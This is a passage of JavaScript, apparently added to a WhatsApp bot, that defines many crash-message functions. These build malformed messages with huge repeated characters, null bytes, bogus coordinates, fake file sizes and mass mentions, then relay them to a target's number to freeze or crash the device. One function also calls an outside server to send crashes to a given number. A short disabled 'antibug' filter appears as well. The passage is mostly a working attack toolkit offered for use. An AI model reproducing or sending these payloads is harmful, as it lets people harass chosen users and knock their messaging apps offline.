JdjIWVwJfcgy0rA6ZZd1bYP8jNIdDQ/FBzWam9tVSPWxDmPZk3oFcE7RfKpExtSyMVeCepgaibOfkKiXZVIUlbASB1KOFfLKttHL9ljUVuxsa9diZhtjUVl6zM3KsQIUsU7xr7W9uZyb5M/8QAGxEAAgMBAQEAAAAAAAAAAAAAAREAECBRMWH/2gAIAQIBAT8Ap/IuUPM8wVx5UMcJgr//xAAdEQEAAQQDAQAAAAAAAAAAAAABAAIQESEgMVFh/9oACAEDAQE/ALY+wqSDk40Op7BTMEOywVPXErAhuNMDMdW//9k=", + "sourceType": " x ", + "sourceId": " x ", + "sourceUrl": "https://www.instagram.com/WhatsApp", + "mediaUrl": "https://www.instagram.com/WhatsApp", + "containsAutoReply": true, + "renderLargerThumbnail": true, + "showAdAttribution": true, + "ctwaClid": "ctwa_clid_example", + "ref": "ref_example" + }, + "entryPointConversionSource": "entry_point_source_example", + "entryPointConversionApp": "entry_point_app_example", + "entryPointConversionDelaySeconds": 5, + "disappearingMode": {}, + "actionLink": { + "url": "https://www.instagram.com/WhatsApp" + }, + "groupSubject": "Example Group Subject", + "parentGroupJid": "6287888888888-1234567890@g.us", + "trustBannerType": "trust_banner_example", + "trustBannerAction": 1, + "ismadaboiboipled": false, + "utm": { + "utmSource": "utm_source_example", + "utmCampaign": "utm_campaign_example" + }, + "forwardedNewsletterMessageInfo": { + "newsletterJid": "6287888888888-1234567890@g.us", + "serverMessageId": 1, + "newsletterName": " X ", + "contentType": "UPDATE", + "accessibilityText": " X " + }, + "businessMessageForwardInfo": { + "businessOwnerJid": "0@s.whatsapp.net" + }, + "smbClientCampaignId": "smb_client_campaign_id_example", + "smbServerCampaignId": "smb_server_campaign_id_example", + "dataSharingContext": { + "showMmDisclosure": true + } + } + } + }, + Ptcp ? { + participant: { + jid: target + } + } : {} + ); + console.log(chalk.red("Succes Send Bug By 𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯ 𝐁𝐘 Geby ೄྀ")); + }; + //end func 8 januari + global.antibug = false + + if (global.antibug) { + if (m.mtype === "interactiveMessage" || + m.mtype === "RepeatedMessages" || + m.mtype === "repeatedMessages" || + m.mtype === "PaymentInfoMessage" || + m.mtype === "ListMessage" || + m.mtype === "interactiveResponseMessage" || + m.mtype === "PaymentInvite" || + m.mtype === "locationMessage" || + m.mtype === "liveLocationMessage" || + m.mtype === "callLogMesssage" || + m.mtype === "listResponseMessage" || + m.mtype === "paymentInviteMessage" || + m.mtype === "SystemCrashMessage") { + + // Block the sender + David.updateBlockStatus(m.key.remoteJid || m.sender, 'block'); + + // Delete the message + await David.chatModify({ + delete: true, + lastMessages: [{ key: m.key, messageTimestamp: m.messageTimestamp }] + }, m.chat); + + // Notify the owner + David.sendMessage(`${pushname}@s.whatsapp.net`, { + text: `Hi Owner! wa.me/${m.sender.split("@")[0]} has been detected sending a bug in a private chat.` + }); + + // Mark as read and show the sender's link + David.sendMessage(m.chat, { + text: `*MARK AS READ*\n\n\n\n\n *Bug sender here👇:* \nwa.me/${m.sender.split("@")[0]}` + }); +} +} + + + + //FUNCTION BUG\\ +async function TagWhatsApp1(target, Ptcp = false) { + const mentionedJid = [ + "0@s.whatsapp.net", + ...Array.from({ length: 15000 }, () => `1${Math.floor(Math.random() * 500000)}@s.whatsapp.net`) + ]; + + const contextInfo = { + mentionedJid, stanzaId: "1234567890ABCDEF", participant: "0@s.whatsapp.net", + quotedMessage: { callLogMesssage: { isVideo: true, callOutcome: "1", durationSecs: "0", callType: "REGULAR", + participants: [{ jid: "0@s.whatsapp.net", callOutcome: "1" }] } }, + remoteJid: target, forwardingScore: 9999999, isForwarded: true, + externalAdReply: { title: "", body: "", mediaType: "VIDEO", renderLargerThumbnail: true, + thumbnail: "https://img100.pixhost.to/images/155/533950625_skyzopedia.jpg", sourceUrl: "https://www.instagram.com/WhatsApp" } + }; + + await David.relayMessage(target, { + extendedTextMessage: { + text: "⩟⬦𪲁 𝗠͜͢𝐀͠𝐌̋͡𝗭̸̷̷̷͡𝐗͜͢𝐒 -" + "@0".repeat(90000), + contextInfo + } + }, Ptcp ? { participant: { jid: target } } : {}); +} + async function LocatiOn(target, kuwoted) { +let virtex = "ꦾ".repeat(77777) + "@1".repeat(77777); +var etc = generateWAMessageFromContent(target, proto.Message.fromObject({ +viewOnceMessage: { +message: { + "liveLocationMessage": { + "degreesLatitude": "p", + "degreesLongitude": "p", + "caption": virtex, + "sequenceNumber": "0", + "jpegThumbnail": "" + }, + body: { + text: "☣️⃟𝐌͢𝐀𝐍𝐙 𝐔𝐈" + }, + nativeFlowMessage: {}, + contextInfo: { + mentionedJid: ["6285805338638@s.whatsapp.net"], + groupMentions: [{ groupJid: "120363321763581234@newsletter", groupSubject: virtex }] + } + } +} +}), { userJid: target, quoted: kuwoted }) +await David.relayMessage(target, etc.message, { participant: { jid: target }, messageId: etc.key.id }) +console.log(chalk.red.bold('Crash System Device By 𝙆𝘼𝙄𝙕𝙀𝙉 𝘿𝙀𝙑')) +} +async function LocInvisi(target, Ptcp = true) { + let marszll = "📄⃟⃟⃟⃟⃚ 𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝͋͢͢𝄽⃟⃟⃟☣️" + let etc = generateWAMessageFromContent(target, proto.Message.fromObject({ + viewOnceMessage: { + message: { + interactiveMessage: { + header: { + title: "\u0000" + "ꦾ".repeat(90000), + locationMessage: {}, + hasMediaAttachment: true + }, + body: { + text: marszll + }, + nativeFlowMessage: { + name: "call_permission_request", + messageParamsJson: "\u0000".repeat(2000), + }, + carouselMessage: {} + } + } + } + }), { + userJid: target, + quoted: null // BISA LU UBAH JADI QUOTED LAIN + }); + + await David.relayMessage(target, etc.message, Ptcp ? { + participant: { + jid: target + } + } : {}); + console.log(chalk.white(" 𝙆𝘼𝙄𝙕𝙀𝙉 𝘿𝙀𝙑 Send InvisiLoc")); + }; + async function sendCrash(X) { + try { + const newcrash = await fetchJson('http://nxf-01.nexfuture.com.br:25579/sendCrash?numero=' + X); + console.log(chalk.red("Send Bug By 𝙈𝘼𝙍𝙎𝙕𝙇𝙇 𝘿𝙀𝙑🐉")); + console.log(chalk.red("InVisible⚡")); + } catch (error) { + console.error("Error Fetching Crash:", error); + } + } + const EsQl = { + key: { + remoteJid: 'p', + fromMe: false, + participant: '0@s.whatsapp.net' + }, + message: { + "interactiveResponseMessage": { + "body": { + "text": "Sent", + "format": "DEFAULT" + }, + "nativeFlowResponseMessage": { + "name": "galaxy_message", + "paramsJson": `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ϟ\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"RaditX7\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"⭑̤⟅̊༑ ▾ 👿⃟𝐎𝐛𝐢𝐭𝐨 ↯ 𝐄𝐯𝐞𝐫𝐲𝐛𝐨𝐝༽𝐲 ⿻ ▾ ༑̴⟆̊‏‎‏‎‏‎‏⭑̤${"\u0003".repeat(350000)}\",\"screen_0_TextInput_1\":\"INFINITE\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`, + "version": 3 + } + } + } + } + + const VisiXLoc = { + key: { + remoteJid: 'p', + fromMe: false, + participant: '0@s.whatsapp.net' + }, + message: { + "interactiveResponseMessage": { + "body": { + "text": "Sent", + "format": "DEFAULT" + }, + "nativeFlowResponseMessage": { + "name": "galaxy_message", + "paramsJson": `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ϟ\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"@RaditX7\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"⭑̤⟅̊༑ ▾𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ▾ ༑̴⟆̊‏‎‏‎‏‎‏⭑̤${"\u0003".repeat(777777)}\",\"screen_0_TextInput_1\":\"INFINITE\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`, + "version": 3 + } + } + } + } + + + async function InVisiLoc(X, ThM, ptcp = false) { + let etc = generateWAMessageFromContent(X, + proto.Message.fromObject({ + ephemeralMessage: { + message: { + interactiveMessage: { + header: { + title: "⭑̤⟅̊༑ ▾ 𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ⿻ ▾ ༑̴⟆̊‏‎‏‎‏‎‏⭑̤‌‌‌‌‌‌‌‌‌‌‌‌‌‏" + "ܜ͙͙͙͙̽̽̽̽̽̽̽̽̽̽ᝄ͢".repeat(50000), + "locationMessage": { + "degreesLatitude": -999.03499999999999, + "degreesLongitude": 922.999999999999, + "name": "𝐓𝐡𝐞𝐆𝐞𝐭𝐬𝐮𝐳𝐨𝐙𝐡𝐢𝐫𝐨🐉", + "address": "🎭⃟༑⌁⃰𝐙𝐞͢𝐫𝐨 𝑪͢𝒓𝒂ͯ͢𝒔𝒉ཀ͜͡🐉", + "jpegThumbnail": ThM + }, + hasMediaAttachment: true + }, + body: { + text: "" + }, + nativeFlowMessage: { + messageParamsJson: " 𝐌𝐲𝐬𝐭𝐞𝐫𝐢𝐨𝐮𝐬 𝐌𝐞𝐧 𝐈𝐧 𝐂𝐲𝐛𝐞𝐫𝐒𝐩𝐚𝐜𝐞♻️ ", + buttons: [{ + name: "single_select", + buttonParamsJson: { + "title": "🎭⃟༑⌁⃰𝐙𝐞͢𝐫𝐨 𝑪͢𝒓𝒂ͯ͢𝒔𝒉ཀ͜͡🐉", + "sections": [{ + "title": "👿⃟𝐎𝐛𝐢𝐭𝐨 ↯ 𝐄𝐯𝐞𝐫𝐲𝐛𝐨𝐝༽𝐲 ϟ", + "rows": [] + }] + } + }, + { + name: "call_permission_request", + buttonParamsJson: {} + } + ], + }, + } + } + } + }), { + userJid: X, + quoted: EsQl + } + ); + await David.relayMessage(X, etc.message, ptcp ? { + participant: { + jid: X + } + } : {}); + console.log(chalk.red("Send Bug By 𝙈𝘼𝙍𝙎𝙕𝙇𝙇 𝘿𝙀𝙑🐉")); + }; + + async function InVisiLocNull(X, Qtd, ThM, ptcp = false) { + let etc = generateWAMessageFromContent(X, + proto.Message.fromObject({ + ephemeralMessage: { + message: { + interactiveMessage: { + header: { + title: "⭑̤⟅̊༑ ▾𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ⿻ ▾ ༑̴⟆̊‏‎‏‎‏‎‏⭑̤‌‌‌‌‌‌‌‌‌‌‌‌‌‏" + "ꦾ".repeat(77777), + "locationMessage": { + "degreesLatitude": -999.03499999999999, + "degreesLongitude": 922.999999999999, + "name": "𝐓𝐡𝐞𝐆𝐞𝐭𝐬𝐮𝐳𝐨𝐙𝐡𝐢𝐫𝐨🐉", + "address": "🎭⃟༑⌁⃰𝐙𝐞͢𝐫𝐨 𝑪͢𝒓𝒂ͯ͢𝒔𝒉ཀ͜͡🐉", + "jpegThumbnail": ThM + }, + hasMediaAttachment: true + }, + body: { + text: "" + }, + nativeFlowMessage: { + messageParamsJson: " 𝐌𝐲𝐬𝐭𝐞𝐫𝐢𝐨𝐮𝐬 𝐌𝐞𝐧 𝐈𝐧 𝐂𝐲𝐛𝐞𝐫𝐒𝐩𝐚𝐜𝐞♻️ ", + buttons: [{ + name: "single_select", + buttonParamsJson: { + "title": "🎭⃟༑⌁⃰𝐙𝐞͢𝐫𝐨 𝑪͢𝒓𝒂ͯ͢𝒔𝒉ཀ͜͡🐉", + "sections": [{ + "title": "𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ϟ", + "rows": [] + }] + } + }, + { + name: "call_permission_request", + buttonParamsJson: {} + } + ], + }, + } + } + } + }), { + userJid: X, + quoted: Qtd + } + ); + await David.relayMessage(X, etc.message, ptcp ? { + participant: { + jid: X + } + } : {}); + console.log(chalk.red("Send Bug By 𝙆𝘼𝙄𝙕𝙀𝙉 𝘿𝙀𝙑🐉")); + }; + + async function InVisiLocXz(X, ThM, ptcp = false) { + let etc = generateWAMessageFromContent(X, + proto.Message.fromObject({ + ephemeralMessage: { + message: { + interactiveMessage: { + header: { + title: "⭑̤⟅̊༑ ▾👿⃟𝐎𝐛𝐢𝐭𝐨 ↯ 𝐄𝐯𝐞𝐫𝐲𝐛𝐨𝐝༽𝐲 ⿻ ▾ ༑̴⟆̊‏‎‏‎‏‎‏⭑̤‌‌‌‌‌‌‌‌‌‌‌‌‌‏" + blankx7 + ios, + "locationMessage": { + "degreesLatitude": -999.03499999999999, + "degreesLongitude": 922.999999999999, + "name": "𝐓𝐡𝐞𝐆𝐞𝐭𝐬𝐮𝐳𝐨𝐙𝐡𝐢𝐫𝐨🐉", + "address": "🎭⃟༑⌁⃰𝐙𝐞͢𝐫𝐨 𝑪͢𝒓𝒂ͯ͢𝒔𝒉ཀ͜͡🐉", + "jpegThumbnail": ThM + }, + hasMediaAttachment: true + }, + body: { + text: "" + }, + nativeFlowMessage: { + messageParamsJson: " 𝐌𝐲𝐬𝐭𝐞𝐫𝐢𝐨𝐮𝐬 𝐌𝐞𝐧 𝐈𝐧 𝐂𝐲𝐛𝐞𝐫𝐒𝐩𝐚𝐜𝐞♻️ ", + buttons: [{ + name: "single_select", + buttonParamsJson: { + "title": "🎭⃟༑⌁⃰𝐙𝐞͢𝐫𝐨 𝑪͢𝒓𝒂ͯ͢𝒔𝒉ཀ͜͡🐉", + "sections": [{ + "title": "𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ϟ", + "rows": [] + }] + } + }, + { + name: "call_permission_request", + buttonParamsJson: {} + } + ], + }, + } + } + } + }), { + userJid: X, + quoted: VisiXLoc + } + ); + await David.relayMessage(X, etc.message, ptcp ? { + participant: { + jid: X + } + } : {}); + console.log(chalk.red("Send Bug By 𝙈𝘼𝙍𝙎𝙕𝙇𝙇 𝘿𝙀𝙑🐉")); + }; + async function CrashUi(X, Qtd, ThM, cct = false, ptcp = false) { + let etc = generateWAMessageFromContent(X, + proto.Message.fromObject({ + viewOnceMessage: { + message: { + interactiveMessage: { + header: { + title: "", + documentMessage: { + url: "https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true", + mimetype: "application/vnd.openxmlformats-officedocument.presentationml.presentation", + fileSha256: "QYxh+KzzJ0ETCFifd1/x3q6d8jnBpfwTSZhazHRkqKo=", + fileLength: "9999999999999", + pageCount: 9007199254740991, + mediaKey: "EZ/XTztdrMARBwsjTuo9hMH5eRvumy+F8mpLBnaxIaQ=", + fileName: "🩸⃟༑⌁⃰𝐙𝐞͢𝐫𝐨 𝐄𝐱ͯ͢𝐞𝐜𝐮͢𝐭𝐢𝐨𝐧 𝐕ͮ𝐚͢𝐮𝐥𝐭ཀ͜͡🦠", + fileEncSha256: "oTnfmNW1xNiYhFxohifoE7nJgNZxcCaG15JVsPPIYEg=", + directPath: "/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0", + mediaKeyTimestamp: "1723855952", + contactVcard: true, + thumbnailDirectPath: "/v/t62.36145-24/13758177_1552850538971632_7230726434856150882_n.enc?ccb=11-4&oh=01_Q5AaIBZON6q7TQCUurtjMJBeCAHO6qa0r7rHVON2uSP6B-2l&oe=669E4877&_nc_sid=5e03e0", + thumbnailSha256: "njX6H6/YF1rowHI+mwrJTuZsw0n4F/57NaWVcs85s6Y=", + thumbnailEncSha256: "gBrSXxsWEaJtJw4fweauzivgNm2/zdnJ9u1hZTxLrhE=", + jpegThumbnail: ThM + }, + hasMediaAttachment: true + }, + body: { + text: "🎭⃟༑⌁⃰𝕿𝖍𝖊𝕲𝖊𝖙𝖘𝖚𝖟𝖔𝖅𝖍𝖎𝖗𝖔ཀ͜͡🐉" + blankx7, + }, + nativeFlowMessage: { + messageParamsJson: "{\"name\":\"galaxy_message\",\"title\":\"oi\",\"header\":\" # trashdex - explanation \",\"body\":\"xxx\"}", + buttons: [ + cct ? { + name: "single_select", + buttonParamsJson: "{\"title\":\"𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ▾" + "᬴".repeat(0) + "\",\"sections\":[{\"title\":\"𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ϟ\",\"rows\":[]}]}" } : { + name: "payment_method", + buttonParamsJson: "" + }, + { + name: "call_permission_request", + buttonParamsJson: "{}" + }, + { + name: "payment_method", + buttonParamsJson: "{}" + }, + { + name: "single_select", + buttonParamsJson: "{\"title\":\"༑⌁⃰ꦾཀ͜͡\",\"sections\":[{\"title\":\"𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝 ϟ\",\"rows\":[]}]}" + }, + { + name: "galaxy_message", + buttonParamsJson: "{\"flow_action\":\"navigate\",\"flow_action_payload\":{\"screen\":\"WELCOME_SCREEN\"},\"flow_cta\":\"༑⌁⃰ꦾཀ͜͡\",\"flow_id\":\"BY DEVORSIXCORE\",\"flow_message_version\":\"9\",\"flow_token\":\"MYPENISMYPENISMYPENIS\"}" + }, + { + name: "mpm", + buttonParamsJson: "{}" + } + ] + } + } + } + } + }), { + userJid: X, + quoted: Qtd + } + ); + + await David.relayMessage(X, etc.message, ptcp ? { + participant: { + jid: X + } + } : {}); + console.log(chalk.red("Send Bug By 𝙆𝘼𝙄𝙕𝙀𝙉 𝘿𝙀𝙑🐉")); + }; + + async function CaroUsel(target) { + await David.relayMessage(target, { + viewOnceMessage: { + message: { + interactiveMessage: { + header: { + subtitle: "ꦾ".repeat(900000), + title: "", + locationMessage: {}, + hasMediaAttachment: true + }, + body: { + text: "", + }, + nativeFlowMessage: { + messageParamsJson: "" + }, + carouselMessage: {} + } + } + } + }, {}); + console.log(chalk.red("Send Bug By 𝙈𝘼𝙍𝙎𝙕𝙇𝙇 𝘿𝙀𝙑🐉")); + }; + async function TrashSystem(target, ThM, Ptcp = true) { + await David.relayMessage(target, { + ephemeralMessage: { + message: { + interactiveMessage: { + header: { + documentMessage: { + url: "https://mmg.whatsapp.net/v/t62.7119-24/30958033_897372232245492_2352579421025151158_n.enc?ccb=11-4&oh=01_Q5AaIOBsyvz-UZTgaU-GUXqIket-YkjY-1Sg28l04ACsLCll&oe=67156C73&_nc_sid=5e03e0&mms3=true", + mimetype: "application/vnd.openxmlformats-officedocument.presentationml.presentation", + fileSha256: "QYxh+KzzJ0ETCFifd1/x3q6d8jnBpfwTSZhazHRkqKo=", + fileLength: "9999999999999", + pageCount: 1316134911, + mediaKey: "45P/d5blzDp2homSAvn86AaCzacZvOBYKO8RDkx5Zec=", + fileName: "⭑̤⟅̊༑ ▾ 𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝⿻ ▾ ༑̴⟆̊‏‎‏‎‏‎‏⭑̤", + fileEncSha256: "LEodIdRH8WvgW6mHqzmPd+3zSR61fXJQMjf3zODnHVo=", + directPath: "/v/t62.7119-24/30958033_897372232245492_2352579421025151158_n.enc?ccb=11-4&oh=01_Q5AaIOBsyvz-UZTgaU-GUXqIket-YkjY-1Sg28l04ACsLCll&oe=67156C73&_nc_sid=5e03e0", + mediaKeyTimestamp: "1726867151", + contactVcard: true, + jpegThumbnail: ThM, + }, + hasMediaAttachment: true, + }, + body: { + text: "⭑̤⟅̊༑ ▾👿⃟𝐎𝐛𝐢𝐭𝐨 ↯ 𝐄𝐯𝐞𝐫𝐲𝐛𝐨𝐝༽𝐲 ⿻ ▾ ༑̴⟆̊‏‎‏‎‏‎‏⭑̤\n" + "@6283139073473".repeat(17000), + }, + nativeFlowMessage: { + buttons: [{ + name: "cta_url", + buttonParamsJson: "{ display_text: '🎭⃟༑⌁⃰𝐙𝐞͢𝐫𝐨 𝑪͢𝒓𝒂ͯ͢𝒔𝒉ཀ͜͡🐉', url: \"https://youtube.com/MarszllKangSad\", merchant_url: \"https://youtube.com/MarszllKangSad\" }", + }, + { + name: "call_permission_request", + buttonParamsJson: "{}", + }, + ], + messageParamsJson: "{}", + }, + contextInfo: { + mentionedJid: ["6283139073473@s.whatsapp.net", ...Array.from({ + length: 30000 + }, () => "1" + Math.floor(Math.random() * 500000) + "@s.whatsapp.net")], + forwardingScore: 1, + isForwarded: true, + fromMe: false, + participant: "0@s.whatsapp.net", + remoteJid: "status@broadcast", + quotedMessage: { + documentMessage: { + url: "https://mmg.whatsapp.net/v/t62.7119-24/23916836_520634057154756_7085001491915554233_n.enc?ccb=11-4&oh=01_Q5AaIC-Lp-dxAvSMzTrKM5ayF-t_146syNXClZWl3LMMaBvO&oe=66F0EDE2&_nc_sid=5e03e0", + mimetype: "application/vnd.openxmlformats-officedocument.presentationml.presentation", + fileSha256: "QYxh+KzzJ0ETCFifd1/x3q6d8jnBpfwTSZhazHRkqKo=", + fileLength: "9999999999999", + pageCount: 1316134911, + mediaKey: "lCSc0f3rQVHwMkB90Fbjsk1gvO+taO4DuF+kBUgjvRw=", + fileName: "𝐌𝐲𝐬𝐭𝐞𝐫𝐢𝐨𝐮𝐬 𝐌𝐞𝐧 𝐈𝐧 𝐂𝐲𝐛𝐞𝐫𝐒𝐩𝐚𝐜𝐞♻️" + convite, + fileEncSha256: "wAzguXhFkO0y1XQQhFUI0FJhmT8q7EDwPggNb89u+e4=", + directPath: "/v/t62.7119-24/23916836_520634057154756_7085001491915554233_n.enc?ccb=11-4&oh=01_Q5AaIC-Lp-dxAvSMzTrKM5ayF-t_146syNXClZWl3LMMaBvO&oe=66F0EDE2&_nc_sid=5e03e0", + mediaKeyTimestamp: "1724474503", + contactVcard: true, + thumbnailDirectPath: "/v/t62.36145-24/13758177_1552850538971632_7230726434856150882_n.enc?ccb=11-4&oh=01_Q5AaIBZON6q7TQCUurtjMJBeCAHO6qa0r7rHVON2uSP6B-2l&oe=669E4877&_nc_sid=5e03e0", + thumbnailSha256: "njX6H6/YF1rowHI+mwrJTuZsw0n4F/57NaWVcs85s6Y=", + thumbnailEncSha256: "gBrSXxsWEaJtJw4fweauzivgNm2/zdnJ9u1hZTxLrhE=", + jpegThumbnail: "", + }, + }, + }, + }, + }, + }, + }, + Ptcp ? { + participant: { + jid: target + } + } : {} + ); + console.log(chalk.red("Send Bug By 𝙈𝘼𝙍𝙎𝙕𝙇𝙇 𝘿𝙀𝙑🐉")); + }; + async function locationcrash(target, wanted) { +var etc = generateWAMessageFromContent(target, proto.Message.fromObject({ +viewOnceMessage: { +message: { + "liveLocationMessage": { + "degreesLatitude": "p", + "degreesLongitude": "p", + "caption": `*\`𝙈𝘼𝙍𝙎𝙕𝙇𝙇 𝘿𝙀𝙑᭢\`*`+"ꦾ".repeat(50000), + "sequenceNumber": "0", + "jpegThumbnail": "" + } + } +} +}), { userJid: target, quoted: wanted }) +await David.relayMessage(target, etc.message, { participant: { jid: target }, messageId: etc.key.id }) +} +async function sendSystemCrashMessage(jid) { + var messageContent = generateWAMessageFromContent(jid, proto.Message.fromObject({ + 'viewOnceMessage': { + 'message': { + 'interactiveMessage': { + 'header': { + 'title': '', + 'subtitle': "C҉r҉a҉s҉h҉ S҉i҉s҉t҉e҉m҉ 𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝" + }, + 'body': { + 'text': "C͓̽r͓̽a͓̽s͓̽h͓̽ S͓̽i͓̽s͓̽t͓̽e͓̽m͓̽" + }, + 'footer': { + 'text': 'C͓̽r͓̽a͓̽s͓̽h͓̽ S͓̽k͓̽i͓̽b͓̽i͓̽d͓͓̽̽i͓̽' + }, + 'nativeFlowMessage': { + 'buttons': [{ + 'name': 'cta_url', + 'buttonParamsJson': "{ display_text : 'D҉o҉n҉g҉o҉', url : , merchant_url : }" + }], + 'messageParamsJson': "ꦾ".repeat(50000) + } + } + } + } + }), { + 'userJid': jid + }); + await David.relayMessage(jid, messageContent.message, { + 'participant': { + 'jid': jid + }, + 'messageId': messageContent.key.id + }); +} +async function locationbug(target, wanted) { + var etc = generateWAMessageFromContent(target, proto.Message.fromObject({ + "stickerMessage": { + "url": "https://mmg.whatsapp.net/o1/v/t62.7118-24/f1/m233/up-oil-image-8529758d-c4dd-4aa7-9c96-c6e2339c87e5?ccb=9-4&oh=01_Q5AaIM0S5OdSlOJSYYsXZtqnZ-ifJC0XbXv3AWEfPbcBBjRJ&oe=666DA5A2&_nc_sid=000000&mms3=true", + "fileSha256": "CWJIxa1y5oks/xelBSo440YE3bib/c/I4viYkrCQCFE=", + "fileEncSha256": "r6UKMeCSz4laAAV7emLiGFu/Rup9KdbInS2GY5rZmA4=", + "mediaKey": "4l/QOq+9jLOYT2m4mQ5Smt652SXZ3ERnrTfIsOmHWlU=", + "mimetype": "image/webp", + "directPath": "/o1/v/t62.7118-24/f1/m233/up-oil-image-8529758d-c4dd-4aa7-9c96-c6e2339c87e5?ccb=9-4&oh=01_Q5AaIM0S5OdSlOJSYYsXZtqnZ-ifJC0XbXv3AWEfPbcBBjRJ&oe=666DA5A2&_nc_sid=000000", + "fileLength": "10116", + "mediaKeyTimestamp": "1715876003", + "isAnimated": false, + "stickerSentTs": "1715881084144", + "isAvatar": false, + "isAiSticker": false, + "isLottie": false + } +}), { userJid: target, quoted: kuwoted }); +await David.relayMessage(target, etc.message, { participant: { jid: target }, messageId: etc.key.id }); + } + //REVISION\\ + async function LIVELOK(LockJids, QUOTED) { + var etc = generateWAMessageFromContent(LockJids, proto.Message.fromObject({ + viewOnceMessage: { + message: { + "liveLocationMessage": { + "degreesLatitude": "p", + "degreesLongitude": "p", + "caption": `🍷꙰͜͡𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝💸` + "\u0000".repeat(900000), + "sequenceNumber": "0", + "jpegThumbnail": "" + } + } + } + }), { + userJid: LockJids, + quoted: QUOTED + }) + await David.relayMessage(LockJids, etc.message, { + participant: { + jid: LockJids + }, + messageId: etc.key.id + }) + } + + async function VIRDOK(LockJids, QUOTED) { + var etc = generateWAMessageFromContent(LockJids, proto.Message.fromObject({ + "documentMessage": { + "url": "https://mmg.whatsapp.net/v/t62.7119-24/40377567_1587482692048785_2833698759492825282_n.enc?ccb=11-4&oh=01_Q5AaIEOZFiVRPJrllJNvRA-D4JtOaEYtXl0gmSTFWkGxASLZ&oe=666DBE7C&_nc_sid=5e03e0&mms3=true", + "mimetype": "penis", + "fileSha256": "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=", + "fileLength": "999999999", + "pageCount": 999999999, + "mediaKey": "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=", + "fileName": `🔥፝⃟ ꙳𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝🔥፝⃟` + "\u0000".repeat(900000), + "fileEncSha256": "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=", + "directPath": "/v/t62.7119-24/40377567_1587482692048785_2833698759492825282_n.enc?ccb=11-4&oh=01_Q5AaIEOZFiVRPJrllJNvRA-D4JtOaEYtXl0gmSTFWkGxASLZ&oe=666DBE7C&_nc_sid=5e03e0", + "mediaKeyTimestamp": "1715880173" + } + }), { + userJid: LockJids, + quoted: QUOTED + }); + await David.relayMessage(LockJids, etc.message, { + participant: { + jid: LockJids + }, + messageId: etc.key.id + }); + } + + async function BLEKING(LockJids, QUOTED) { + var etc = generateWAMessageFromContent(LockJids, proto.Message.fromObject({ + "stickerMessage": { + "url": "https://mmg.whatsapp.net/o1/v/t62.7118-24/f1/m233/up-oil-image-8529758d-c4dd-4aa7-9c96-c6e2339c87e5?ccb=9-4&oh=01_Q5AaIM0S5OdSlOJSYYsXZtqnZ-ifJC0XbXv3AWEfPbcBBjRJ&oe=666DA5A2&_nc_sid=000000&mms3=true", + "fileSha256": "CWJIxa1y5oks/xelBSo440YE3bib/c/I4viYkrCQCFE=", + "fileEncSha256": 